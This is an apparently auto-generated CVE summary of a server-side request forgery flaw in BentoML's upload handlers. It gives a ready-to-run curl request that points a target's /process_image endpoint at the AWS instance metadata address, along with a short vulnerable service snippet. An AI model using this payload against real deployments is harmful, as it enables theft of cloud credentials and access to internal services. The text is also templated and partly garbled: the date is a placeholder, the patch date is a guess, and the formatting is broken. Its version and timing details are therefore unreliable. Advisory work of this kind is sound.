Listen to this Post
How the CVE Works
The vulnerability stems from improper validation of user-supplied URLs in BentoML’s file upload handlers (MultipartSerde and JSONSerde). Attackers can craft HTTP requests with malicious URLs pointing to internal networks, cloud metadata endpoints, or localhost services. The `MultipartSerde` path lacks any validation, while `JSONSerde` only checks URL schemes (e.g., http://` orhttps://`), allowing SSRF attacks. The framework automatically processes these URLs, enabling unauthorized server-side HTTP requests.
DailyCVE Form
Platform: BentoML
Version: <1.0.8
Vulnerability: SSRF
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch by 2023-11-30
What Undercode Say
curl -X POST http://target:3000/process_image -F 'image=http://169.254.169.254/latest/meta-data/'
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed: {image}"
Exploit
- AWS metadata theft
- Internal service access
- Network scanning
Protection from this CVE
- Restrict internal URLs
- Implement allowlisting
- Update BentoML
Impact
- Credential theft
- Internal API abuse
- Firewall bypass
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
